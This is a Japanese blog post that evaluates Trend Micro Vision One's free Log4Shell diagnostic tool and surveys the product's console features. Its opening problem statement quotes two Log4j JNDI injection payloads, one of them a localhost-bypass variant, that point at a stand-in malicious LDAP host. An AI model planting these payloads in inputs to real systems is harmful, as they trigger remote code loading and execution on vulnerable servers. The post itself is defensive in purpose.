11月末から続いているLog4jの脆弱性について各セキュリティスコアが高レベルで指定されており、これを気にZTAの文脈でセキュリティ製品を見ていこうと思います。今回はちょうど無償提供されているTrend Micro Vision Oneを軽く触ってみようと思います。

> PROBLEMPROBLEM

• 11月末から続いているLog4jの脆弱性について各セキュリティスコアが高レベルで指定されている
  • JNDIクエリ「${jndi:ldap://malicious-server.host/aaa}」により不正なJavaクラスが実行されるケースがある（CVE-2021-44228）
  • JNDIクエリ「${jndi:ldap://127.0.0.1#malicious-server.host/aaa}」により不正なJavaクラスが実行されるケースがある（CVE-2021-45046）

> SOLUTIONSOLUTION

From: Trend Micro
Subject: Log4Shell診断ツール ご提供開始

Apache Log4j2ログ出力ライブラリの複数のバージョンに影響を与える深刻な脆弱性情報が公開されています。当診断ツールは、Log4Shellの影響を受ける可能性のあるエンドポイントとWebアプリケーションを特定することができます。また、攻撃対象領域の詳細を即座に可視化し、リスクを軽減するための措置をご案内いたします。

と言うわけで、Trend Micro Vision Oneの一部機能が無償で提供されていたので確認します。Vision OneはSIEM、SOAR、EDR関連のツール。エンドポイント、サーバ、クラウド、メールおよびネットワーク全体を保護する各セキュリティ製品がセンサーとなり、各々のレイヤ―で検知した脅威や侵入の痕跡を、Threat Intelligenceを活用してサイバー攻撃の全体像を可視化します。

> Log4jShell診断ツールを試してみるLog4jShell診断ツールを試してみる

1. Trend Micro Vision Oneにログイン
2. [Log4Shell診断ツール]画面にてWindows/Mac/Linuxいずれかの診断ツールをダウンロード
3. 1分ほどで端末にインストールされ、詳細が確認できる
4. 自宅の端末で確認した結果はこちら
   • 

ざっと試したところ数分程度でLog4Shellの診断を行う事ができました。Intune等EMMでの展開もそれほど難しくないように思います。

> 他の機能を確認他の機能を確認

先ほど試したLog4Shell診断ツールはTrend Micro Vision OneのAssessmentカテゴリのいち機能になります。Vision OneはSecurity Postureによる方針策定、Assessment・Thread Intelligenceによる脅威検出、XDR（EDR）による脅威応答、Zero Trust Secure Access・Mobile Securityによる脅威防御、Inventory Managementによる脅威特定から構成されています。

> Security PostureSecurity Posture

各種リスク、脅威を表示することで、セキュリティに関する心構えとともに方針策定のヒントを提示します。

> AssessmentAssessment

各種端末に対して脅威検出等のセキュリティ評価を行います。

> Threat IntelligenceThreat Intelligence

内部および外部ソースを元に分析を行い環境内の潜在的な脅威を特定します。

> XDR（EDR）XDR（EDR）

検出モデルと応答サービスを管理します。

> Zero Trust Secure AccessZero Trust Secure Access

各種アクセス制御を管理します。

> Response ManagementResponse Management

応答サービスを管理するものだと思いますが、XDR（EDR）との区別がよく分かりません。

> Mobile SecurityMobile Security

モバイル端末に特化したセキュリティ機能、検出ログや管理ポリシーを扱います。EMM連携も可能です。

> Inventory ManagementInventory Management

各種リソースの一覧表になります。

> WRAPUPWRAPUP

Trend Micro Vision Oneについて、各機能の使い勝手は分かりませんが、EDRを軸にセキュリティ機能を固めているようです。EDRについては完全自動化というのは無理でしょうから、どのくらいサポートがあるかで製品の価値がかわってくるものと思います。Log4Shell診断ツールの使い勝手は分かりましたが、コンソール画面上の他の機能を見る限りどの程度便利かはよく分かりませんでした。